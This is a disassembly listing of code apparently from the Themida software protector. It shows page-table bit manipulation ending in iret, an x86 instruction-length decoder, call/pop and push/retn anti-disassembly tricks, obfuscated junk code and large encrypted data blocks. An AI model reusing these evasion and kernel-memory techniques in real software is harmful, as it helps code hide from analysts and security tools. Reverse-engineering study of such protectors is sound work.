		and	eax, 3FF8h


loc_5D3242:				; CODE XREF: Themida_:005D3235j
		mov	edi, [ebp+61A9734h]
		or	dword ptr [edi+eax], 6
		mov	edx, [edi+eax]
		mov	eax, edx
		and	al, 81h
		cmp	al, 81h
		mov	eax, ecx
		jz	locret_5D32B4
		cmp	dword ptr [ebp+61A9734h], 0C0300000h
		jnz	loc_5D327A
		shr	eax, 0Ah
		and	eax, 3FFFFCh
		jmp	loc_5D3282
; ---------------------------------------------------------------------------


loc_5D327A:				; CODE XREF: Themida_:005D3267j
		shr	eax, 9
		and	eax, 7FFFF8h


loc_5D3282:				; CODE XREF: Themida_:005D3275j
		sub	eax, 40000000h
		or	dword ptr [eax], 6
		test	dword ptr [eax], 80h
		jz	locret_5D32B4
		cmp	dword ptr [ebp+61A9734h], 0C0300000h
		jz	locret_5D32B4
		and	eax, 3FF8h
		mov	eax, [eax-3FA00000h]
		or	dword ptr [eax], 6

locret_5D32B4:				; CODE XREF: Themida_:005D3257j
					; Themida_:005D3290j ...
		iret
; ---------------------------------------------------------------------------
		lea	eax, [ebp+61A96A2h]
		mov	[ebp+6152541h],	eax
		lea	eax, [ebp+61A9738h]
		mov	[ebp+6150D6Dh],	eax
		lea	eax, [ebp+61A96FFh]
		mov	[ebp+6151161h],	eax
		jmp	loc_5D34A6
; ---------------------------------------------------------------------------
		dd offset byte_418880+8
		dd offset byte_418880+8
		dd offset byte_418880+8
		dd offset byte_418880+8
		dd offset byte_418880+8
		dd offset byte_418880+8
		dd offset byte_418880+8
		dd offset byte_418880+8
		align 10h
		dd 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 30000h, 14h dup(0)
		dd 8C20000h, 75736600h,	0FE80h,	11h dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D34A6:				; CODE XREF: Themida_:005D32D9j
		jmp	loc_5D37FE

; =============== S U B	R O U T	I N E =======================================



sub_5D34AB	proc near		; DATA XREF: Themida_:0057BF9Co
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61A9A82h
		pusha
		mov	dword ptr [ebp+61A99CFh], 0
		cmp	word ptr [esi],	0A166h
		jnz	loc_5D34DD
		mov	dword ptr [ebp+61A99D3h], 6
		jmp	loc_5D3501
; ---------------------------------------------------------------------------


loc_5D34DD:				; CODE XREF: sub_5D34AB+1Dj
		lea	eax, [ebp+61A99D7h]
		push	eax
		lea	eax, [ebp+61A9A27h]
		push	eax
		push	esi
		push	0
		call	sub_5D3510
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+61A99D3h],	eax


loc_5D3501:				; CODE XREF: sub_5D34AB+2Dj
		popa
		add	esi, [ebp+61A99D3h]
		mov	eax, [ebp+61A99CFh]
		pop	ebp
		retn
sub_5D34AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5D3510	proc near		; CODE XREF: sub_5D34AB+43p

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_61A99C7	= dword	ptr  61A99CFh

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5D353D
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5D3549
; ---------------------------------------------------------------------------


loc_5D353D:				; CODE XREF: sub_5D3510+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5D3549:				; CODE XREF: sub_5D3510+28j
		push	ebx
		push	esi
		push	edi


loc_5D354C:				; CODE XREF: sub_5D3510+91j
					; sub_5D3510+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5D355F:				; CODE XREF: sub_5D3510+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61A9B39h
		lea	ebp, [ebp+61A99AFh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5D358C
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5D355F


loc_5D358C:				; CODE XREF: sub_5D3510+6Bj
		cmp	cl, 0Bh
		jz	loc_5D35E9
		cmp	al, 66h
		jnz	loc_5D35CA
		cmp	[ebp+var_5], 0
		jnz	loc_5D354C
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5D35C2
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5D354C
; ---------------------------------------------------------------------------


loc_5D35C2:				; CODE XREF: sub_5D3510+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5D35CA:				; CODE XREF: sub_5D3510+87j
		cmp	al, 67h
		jnz	loc_5D354C
		cmp	[ebp+var_6], 0
		jnz	loc_5D354C
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5D354C
; ---------------------------------------------------------------------------


loc_5D35E9:				; CODE XREF: sub_5D3510+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5D3615
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5D361A
; ---------------------------------------------------------------------------


loc_5D3615:				; CODE XREF: sub_5D3510+E4j
		movzx	edi, al
		shr	edi, 1


loc_5D361A:				; CODE XREF: sub_5D3510+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61A9BF1h
		lea	ebp, [ebp+61A98AFh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5D379C
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5D36E0
		dec	ecx
		jz	loc_5D36C3
		dec	ecx
		jnz	loc_5D3733
		cmp	[ebp+var_2], 0
		jnz	loc_5D372F
		cmp	[ebp+var_5], 0
		jz	loc_5D36A2
		mov	byte ptr [ebp+arg_0+3],	2


loc_5D36A2:				; CODE XREF: sub_5D3510+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61A9C7Dh
		mov	[ebp+arg_61A99C7], 1
		pop	ebp
		jmp	loc_5D3733
; ---------------------------------------------------------------------------


loc_5D36C3:				; CODE XREF: sub_5D3510+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5D370D
		cmp	[ebp+var_5], 0
		jz	loc_5D370D
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5D370D
; ---------------------------------------------------------------------------


loc_5D36E0:				; CODE XREF: sub_5D3510+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5D3726
		cmp	[ebp+var_5], 0
		jz	loc_5D3715
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5D370D
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5D370D:				; CODE XREF: sub_5D3510+1B7j
					; sub_5D3510+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5D3733
; ---------------------------------------------------------------------------


loc_5D3715:				; CODE XREF: sub_5D3510+1DEj
		cmp	dl, 5
		jnz	loc_5D3733
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5D3733
; ---------------------------------------------------------------------------


loc_5D3726:				; CODE XREF: sub_5D3510+1D4j
		cmp	dl, 6
		jnz	loc_5D3733


loc_5D372F:				; CODE XREF: sub_5D3510+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5D3733:				; CODE XREF: sub_5D3510+174j
					; sub_5D3510+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5D3761
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5D3743:				; CODE XREF: sub_5D3510+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5D3743
		mov	esi, edx


loc_5D3761:				; CODE XREF: sub_5D3510+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5D3796
		cmp	edi, 7Fh
		ja	loc_5D3796
		test	bl, 38h
		jnz	loc_5D3796
		cmp	[ebp+var_7], 0
		jz	loc_5D3790
		movzx	eax, [ebp+var_4]
		jmp	loc_5D3793
; ---------------------------------------------------------------------------


loc_5D3790:				; CODE XREF: sub_5D3510+271j
		push	1
		pop	eax


loc_5D3793:				; CODE XREF: sub_5D3510+27Bj
		mov	[ebp+var_1], al


loc_5D3796:				; CODE XREF: sub_5D3510+255j
					; sub_5D3510+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_5D379C:				; CODE XREF: sub_5D3510+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5D37C7
		dec	eax
		dec	eax
		jz	loc_5D37BD
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5D37CF
; ---------------------------------------------------------------------------


loc_5D37BD:				; CODE XREF: sub_5D3510+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5D37CC
; ---------------------------------------------------------------------------


loc_5D37C7:				; CODE XREF: sub_5D3510+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5D37CC:				; CODE XREF: sub_5D3510+2B2j
		add	[ebp+var_1], al


loc_5D37CF:				; CODE XREF: sub_5D3510+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5D37F7
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_5D37E2:				; CODE XREF: sub_5D3510+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5D37E2


loc_5D37F7:				; CODE XREF: sub_5D3510+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_5D3510	endp

; ---------------------------------------------------------------------------


loc_5D37FE:				; CODE XREF: Themida_:loc_5D34A6j
		lea	eax, [ebp+61A9A7Ch]
		mov	[ebp+615256Dh],	eax
		lea	ecx, [ebp+61A9E9Ch]
		push	0
		push	ebp
		call	sub_5D381B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D381B	proc near		; CODE XREF: Themida_:005D3813p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5D381B	endp

; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------
		cmp	edi, edx
		add	byte ptr [edx+27218D89h], 15h
		push	es
		add	esi, [ebp+6152CD5h]
		mov	dword ptr [ebp+61504CDh], 6B8Ch
		mov	dword ptr [ebp+6151115h], 0
		push	ecx
		mov	[ebp+6150889h],	ebx
		pop	edi
		push	dword ptr [ebp+6151D45h]
		push	0
		push	edx
		call	sub_5D3869
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3869	proc near		; CODE XREF: Themida_:005D3861p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5D3869	endp

; ---------------------------------------------------------------------------
		db 0EAh, 0FBh, 25h
		dd 8971A5F9h, 1502F18Dh, 0D5858906h, 0FF06152Fh, 1502C995h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0AD7C09C9h, 2E454A89h, 0DF8B60DBh, 0CCE98166h
		dd 8D316124h, 6152A45h,	95FF006Ah, 6152E21h, 0BEBC08Bh
		dd 71CB0BFBh, 8A95C9A6h, 8D2960B0h, 1A9F768Dh, 0FE906h
		dd 1E590000h, 8EC0B9Eh,	335417B3h, 88F76D6Dh, 218D8967h
		dd 6A061527h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0F9EBC351h, 9D1E36B3h,	0BF2A359Ch
		dd 713B56D8h, 2DBDBD89h, 85C70615h, 61504CDh, 7260h, 0C700C880h
		dd 15111585h, 6, 0D59D3100h, 0FF061514h, 1533A9B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 3EE9A20Fh, 0BF76F119h, 4B119BD5h, 2C995FFh, 6A0615h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 6C80A1C3h, 27E1958Bh, 6A0615h, 2E2195FFh, 0C08B0615h
		dd 0BCED4FEBh, 5FA95B9h, 64444836h, 66B6BA34h, 222E5AE9h
		dd 6022CD03h, 60B578ABh, 0EBB2EEC4h, 0EC0F404Bh, 0DEB1C8Ch
		dd 0CC9BF650h, 43C8384h, 23CE08C1h, 0DE8FABE5h,	0FF65C21h
		dd 624F0E42h, 0F62FD681h, 0C8FEB068h, 5303682Fh, 0B3F489DFh
		dd 0FE9C3h, 0F32F0000h,	7432h, 2 dup(0)
		dd 0BBDE900h, 98680000h, 0E9061AA1h, 0FFFBA8F0h, 1AA25968h
		dd 0A8E6E906h, 1068FFFBh, 0E9061AA4h, 0FFFBA8DCh, 1AA52B68h
		dd 0A8D2E906h, 0F468FFFBh, 0E9061AA7h, 0FFFBA8C8h, 1AA96668h
		dd 0A8BEE906h, 2468FFFBh, 0E9061AAAh, 0FFFBA8B4h, 0CDBFBEAFh
		dd 5D2F4E42h, 0CFC1BCB2h, 53354844h, 0C9BBC2A8h, 0B0A27C6Ah
		dd 1710FBCDh, 0B89B6666h, 4D38C3C5h, 0CBC86030h, 243EAEEBh
		dd 6877EEA7h, 0C96D62DBh, 4B029BE2h, 0F31F9E3Ch, 125BFAF4h
		dd 1039A724h, 9F86686Ah, 3DC8C7DEh, 0D77E2756h,	0DF3F5E58h
		dd 0AC5DAD3Eh, 57E0C786h, 3EDF3A57h, 86AF5AADh,	0B0FFB906h
		dd 0E8074343h, 237B353h, 0D6CE7F5Bh, 0FBF4A729h, 584EDB82h
		dd 18967C25h, 0D363588Ch, 0EEA6E35Fh, 69526BECh, 64000000h
		dd 0D7D76CC4h, 0AD3EDEBAh, 0D025BF06h, 0D58E04D3h, 0AD5ECDA4h
		dd 0AA23E58Eh, 9C8DE59Dh, 53939CA2h, 981138B3h,	7A03EA9Bh
		dd 2B1F2AE3h, 0CCA24B52h, 29931F72h, 0B52DC9A7h, 0F4E283Bh
		dd 8DA72993h, 226F4FDCh, 72A72993h, 27806FC7h, 0CF6BECAFh
		dd 0CDh, 0C2BBB362h, 3A7D0C9Bh,	543B1912h, 37A701Dh, 0D7BB35Ah
		dd 0A4863724h, 0DF306DD9h, 0B89AAD3Eh, 2AF59CC5h, 311C37FFh
		dd 0D2B8554Ch, 99913CABh, 76138EE4h, 0DA77EE8Fh, 8E9D8AF3h
		dd 3EDEE1B0h, 0B086B3ADh, 0E398E6E0h, 0FBF2AD3Eh, 90770282h
		dd 991774EDh, 35E1DD4Ah, 61B353EEh, 0CD6BD8B8h,	6295717Eh
		dd 3EAD4172h, 79711C0Bh, 0A8CE5D04h, 4A9877BCh,	0F30036FFh
		dd 0BB0D7062h, 0ADA3DAD0h, 0FA07CAFFh, 39D2742Dh, 1E000009h
		dd 9580502Dh, 25F0E09Dh, 8772522Bh, 23EEDE9Fh, 0BD7C4C31h
		dd 3E3F35CFh, 0AFCEC34Eh, 3E3F32DDh, 0B1CCC34Eh, 6C4A47DFh
		dd 0A7243E2Dh, 8688F66Fh, 0CF7D9A4h, 3F6C5C21h,	7C802F8Ch
		dd 0B37B3E06h, 1D6CC4D5h, 0E20A300Eh, 0BBCAB353h, 0A86BBFD8h
		dd 0AE2D6374h, 2588C887h, 0B034D51Fh, 5306E089h, 95A729AEh
		dd 7C0D8919h, 7C6BECCAh, 93h, 0DE9F864Eh, 35482AC7h, 968E3F2Ch
		dd 0C56C1103h, 0E3A38F6Dh, 2621AD3Eh, 0A38A7557h, 0CC64C3DAh
		dd 42906E7Dh, 52B353EEh, 0CD78A527h, 4A039AE3h,	0BA09A724h
		dd 6F8D512Dh, 6009AD41h, 2D5042D3h, 0C3BAB05Bh,	749894Dh
		dd 0E48603FAh, 878h, 3D8FEEDFh,	0AD1F5E52h, 3F91ECE2h
		dd 0A3255854h, 398BF2D8h, 0F20C7Ah, 87800B7Dh, 8EB96F6h
		dd 7D681375h, 1B189000h, 243C7E1Bh, 0D7271EA7h,	1A373724h
		dd 7AAD3EDFh, 6ECA7CFh,	836A1577h, 863C8AFAh, 2AC7DE9Fh
		dd 5BFAF443h, 39AD3EDEh, 23758C2Ah, 0E38AFEF3h,	338D3A8Ah
		dd 0F36747E4h, 0FFB35348h, 7D24594Eh, 98C19ED4h, 0F4898411h
		dd 7FFEE994h, 6DB8E370h, 0D8C35D69h, 0A41B07A2h, 133AAD6Fh
		dd 6C290516h, 2817AD2Dh, 0A73B3901h, 0D7A6A02Dh, 84F9F49Fh
		dd 83661704h, 0E4C663FAh, 10691099h, 55442B6Ah,	0D27B225Bh
		dd 7618029Bh, 0F617AD2Dh, 0F1DCF480h, 56513C8Ch, 0ECA47E27h
		dd 2617AD2Dh, 0D5D0E87Ch, 0EB988BA8h, 0CBCBEB46h, 99B8423Ch
		dd 0C742CFF1h, 0CFF1AAE7h, 0E43FEA42h, 0BDE0F44Fh, 4E27CCACh
		dd 0F2DDA828h, 0B1B8C5A7h, 0DB383108h, 25210E5Dh, 48E54195h
		dd 0BB81841h, 0F5D15EADh, 46D86F59h, 0F1CDD485h, 42D02EA1h
		dd 0B935AD49h, 79346F0h, 4D608h, 1682BA00h, 0E50251EFh
		dd 1D6047F6h, 97A5CD84h, 0B353E8BBh, 9BBAB4A7h,	0F9A729D5h
		dd 0C63D2A50h, 29D5A9E8h, 0F73EEBA7h, 15F0A390h, 0B076AAE6h
		dd 52D175Fh, 0D83F93Fh,	0F48980B3h, 0A887C46Dh,	2AB8E96Eh
		dd 0FEEDFA33h, 63E35100h, 601643D2h, 0F3B7F3D3h, 32E7D878h
		dd 1A1D08B5h, 6EF37D1Ch, 43EA1FD0h, 647774EBh, 6EF3CB8Ah
		dd 0DAA0C9D0h, 3F03FF9h, 842E8A03h, 6047F6D6h, 0C0CD841Dh
		dd 5ACB5C8h, 0AA49F02Dh, 4749341Bh, 68ACD1BCh, 20DF29E8h
		dd 0C1992DE4h, 96000006h, 3DC8C8B5h, 0DDA82855h, 4F3A8AF3h
		dd 0DBA62657h, 0A50484F9h, 86F7DD37h, 0E7967B06h, 46371AE5h
		dd 0A9D4BB46h, 84826F27h, 0A7243AD5h, 8680CEC7h, 0C8C7DE9Fh
		dd 0EB7A083Bh, 48F17805h, 50703F0Bh, 8D69C492h,	9310898h
		dd 0B719644Ah, 0F9C5h, 6EC4EB00h, 6914191Fh, 1433FB82h
		dd 96E7DFE4h, 0EF8E820Fh, 452A6F62h, 0B1883138h, 0C034C2B8h
		dd 9825068Ch, 7805ECADh, 78F148F1h, 67FB79C1h, 346560EDh
		dd 741D4439h, 2309A4BDh, 0E38A435Ah, 0F70B9C8Bh, 61EB7201h
		dd 0DD000000h, 34F69724h, 0B2ABD2BDh, 34084CFBh, 5ED4B57Dh
		dd 0FD34492Bh, 653E10EEh, 2356AD3Eh, 5008D7Ah, 9C93C278h
		dd 2924EFE1h, 42FE4D54h, 6CFAF4F3h, 14B35375h, 3A007D69h
		dd 0AE253CEDh, 6F38B440h, 2A6BEC88h, 74203D39h,	4AA8A729h
		dd 4679614Eh, 581E4B14h, 738h, 0DE7F8A00h, 31000000h, 0E1D6CC4h
		dd 5403CA30h, 68790AB3h, 6522FD8Bh, 0F658BC75h,	0EAFC10F0h
		dd 5A69B2Fh, 0BCB10000h, 4C44CFC1h, 0BAB45F31h,	4E36C1C3h
		dd 0C0B25D2Fh, 7E6CCBBDh, 0FDCFAEA4h, 70601D12h, 0FDCFAEA5h
		dd 62621B12h, 94C1BDAAh, 0A72439h, 6EC43D95h, 3972191Fh
		dd 0AF2BB7F5h, 7201FADAh, 681Eh, 8E841100h, 0AB4460EFh
		dd 0FBB394DBh, 6EC45533h, 3772191Fh, 0AD29B9F3h, 7201FADCh
		dd 481Ch, 977C0F00h, 0BD8F0490h, 3093C2BCh, 5801AD3Eh
		dd 0C4775921h, 23101F6Eh, 3EDE7623h, 205D54ADh,	0E297D089h
		dd 0FA8BA88Ch, 0B4A2413h, 89AD3EDFh, 0AEE199E0h, 188C2A82h
		dd 3EE6E7B1h, 6424C5ADh, 927201EFh, 0FFFFFE8Eh,	1F6EC424h
		dd 0CE5E7219h, 0CFD854E0h, 277201FAh, 263h, 0D9A48699h
		dd 0FF30E3D0h, 0AFD39473h, 0F1DD78BEh, 0F7EE9F8Ch, 0CBD2ABA2h
		dd 7C234B22h, 748C1896h, 28DFF7Eh, 0CD7E6D10h, 0C4154088h
		dd 0A7CFB1h, 0CC8C8013h, 414E2F25h, 9DD52CFAh, 0D65F942Ch
		dd 3EE84BCEh, 720B028Fh, 0FCEB42EBh, 491AB84Fh,	80B6093Bh
		dd 50EF9373h, 7AAFB353h, 1C6146E3h, 81FCE885h, 0F084F2E8h
		dd 6BF777BCh, 0AC1C6153h, 9592EBE1h, 0E980FDE8h, 96C3C330h
		dd 6A72928h, 9A841B53h,	0A72929F7h, 0CD7E75h, 70C78D0Ah
		dd 6AFA74BAh, 73AE63F0h, 4251AD83h, 9F552F42h, 0F33BF201h
		dd 0B90B7258h, 8A1DCCEh, 31BE0DABh, 0A9D1ACA4h,	9804AE88h
		dd 79A0AD3Eh, 0BF0EAA17h, 9D924330h, 6A10C9E0h,	5385DADCh
		dd 564FFAB3h, 0B8C5AC59h, 85D58482h, 0FEF5A729h, 674BE67Fh
		dd 0C3ED8F16h, 0FBF8FB2Fh, 854F0EE8h, 364DA729h, 0E810F59Fh
		dd 0C1CCA585h, 0F07EB4C9h, 997B0A84h, 0C1780500h, 4849F1A8h
		dd 0A192A1F0h, 2977F8A5h, 0BD75A4A7h, 7820522Ch, 0C574AD3Eh
		dd 304D38C3h, 0CCB19C39h, 0A2F14FFCh, 80DDA985h, 50F9B353h
		dd 1F8130E3h, 965B1B16h, 1DD4CDB0h, 97831E54h, 0A729CCF6h
		dd 76F084F2h, 0ED9AE3C7h, 918EF83h, 3BAE8492h, 6BECB46Eh
		dd 4D8Ah, 6CC43C00h, 211D0E1Dh,	0AD3EDE74h, 0B041F920h
		dd 53E230D6h, 4B2B38B3h, 0A729DC0Eh, 0CA93DB8Eh, 0D05909Fh
		dd 705CF970h, 94DD940Dh, 0D7C4C3DEh, 0C43E3F26h, 0A729DB95h
		dd 221C5207h, 0A729DB6Fh, 0E965FD79h, 6BECF7A0h, 9B58h
		dd 9F866A00h, 482AC7DEh, 7E275651h, 6A079ED7h, 4B321683h
		dd 0F7EE7B22h, 4E2C0686h, 0BCAD3EE3h, 6FDCACD1h, 0D86582D1h
		dd 0B8C5A7F2h, 383108B1h, 3E38B981h, 0B3568326h, 0AD58D782h
		dd 9FDED2C7h, 9D972F0h,	1D54B919h, 4DEAE0ABh
		dd 49B5C8C0h, 0A7278B0Ch, 0C498E188h, 0FC12AD90h, 0DDE97DF4h
		dd 7A000002h, 19E4E499h, 917C4C31h, 1BE6E697h, 8F7A4A33h
		dd 51F0E09Dh, 0B2CBC15Bh, 3B4227D2h, 0B2CBBE49h, 3D4027D2h
		dd 0D8D6D34Bh, 0A72437B9h, 86146ADBh, 0CF7D9A4h, 0DE6C5C21h
		dd 12FA9F86h, 0FD30B085h, 650CCFB9h, 4FDC953Ch,	4333625Ch
		dd 0B861AD3Eh, 634AE782h, 241CAA1Ah, 0DF1A3737h, 0CF7AAD3Eh
		dd 9801ECA7h, 21D8D1ACh, 51625158h, 3EDF2875h, 2037A0ADh
		dd 86B00B6Ch, 87C66C9Dh, 5EEBDDA0h, 9A9493E2h, 0B3530AECh
		dd 5E486108h, 0A7290A3Bh, 0D1ADBEADh, 0A7290984h, 9B3E2DCh
		dd 38E1A729h, 7AF43AEFh, 22196EEAh, 3BDD6BECh, 0EF000000h
		dd 4F396CC4h, 0EE8072Eh, 0B353E1F8h, 756685B4h,	29DBDC79h
		dd 0E991B8A7h, 4C44D1BEh, 5AFB0931h, 8EA729DBh,	0F92EEE9Dh
		dd 0B284D7C1h, 682F27Ch, 6BECD181h, 0C175h, 9F864700h
		dd 0C36A13FAh, 601D0F9Ah, 0AF2840D3h, 0ADB4C9C1h, 0A66C4704h
		dd 0B13C630Bh, 9B28C7B6h, 0F87F222h, 0B9B0868Dh, 7C4C311Ch
		dd 3E06F442h, 6561ECADh, 3C336218h, 0C5C1B241h,	0AD3E0598h
		dd 4F385504h, 0FD88082Eh, 0F5F26B12h, 561C6148h, 7F6CBB75h
		dd 53086F7Fh, 6D62F3B3h, 4CFD6A10h, 92E12CDFh, 0AF1336EEh
		dd 0FEBA0787h, 184640AFh, 84AD40D7h, 0C5A756D5h, 472DD8B8h
		dd 0E144E236h, 0D148FA07h, 16B3Dh, 7607EC00h, 0F6876B16h
		dd 7805EB96h, 0FC816D18h, 720B018Ch, 0CB259312h, 493494E9h
		dd 0E0AB1D60h, 493494E9h, 0F5AD1F5Eh, 355FFEF8h, 483DA724h
		dd 0D9A486FAh, 5C210CF7h, 6CC4DE6Ch, 0A300E1Dh,	0CAB353E2h
		dd 791C069Fh, 6FA729DBh, 0B2F773FFh, 466BECF7h,	0A7h, 0DE9F8678h
		dd 0DBDBC8C7h, 0AD3EDEBEh, 196447DEh, 997B1A60h, 0C0790400h
		dd 0E381BDA9h, 0E4CBAD3Eh, 614C3799h, 8A26851Ch, 2721AC3Bh
		dd 0EBA64F56h, 44ED7409h, 0F101FDEEh, 0A5B353DCh, 9A71474h
		dd 0A6512DBAh, 0F2AD4180h, 0BBBBA847h, 0AD3C3D9Eh, 6234BFEh
		dd 0E8E89577h, 0D246371Dh, 0FA07585Eh, 0AD2FD34Eh, 0AA000000h
		dd 29D4B4C9h, 0C14C3C41h, 2BD6B6C7h, 0BF4A3A43h, 61E0B0CDh
		dd 0E29B916Bh, 4B3217E2h, 0E29B8E79h, 4D3017E2h, 0C8A6A37Bh
		dd 0A7243489h, 86249A0Bh, 0AAF7D9A4h, 1E47361Bh, 9994BF77h
		dd 8656E4E4h, 0C251DE9Fh, 800C1A9Bh, 223DF5FCh,	0DF9A087h
		dd 7AC7C970h, 0D3806FBEh, 649BFC06h, 0E6032B3Dh, 595E1408h
		dd 0C0E990B3h, 41433A35h, 0B7AECFB6h, 4C7884CBh, 69F97319h
		dd 0A5275651h, 0BA56CB78h, 8028DDBh, 9118654Dh,	0C0392E8h
		dd 715DF871h, 4DDE950Ch, 0B1B8C5C0h, 0B0443208h, 0D0AD98h
		dd 3A631A15h, 3A8h, 66B40A00h, 0D1D8A586h, 2D344944h, 0CDD4A9A0h
		dd 2F364740h, 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh
		dd 0E881FCF4h, 0E1895104h, 4C181h, 0BF570000h, 4, 875FF929h
; ---------------------------------------------------------------------------
		or	al, 24h
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		mov	edx, 1FB4603h
		and	edx, 55295974h
		add	edx, 4F16029h
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	33FDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	12FBh
		mov	[esp], eax
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	ebp
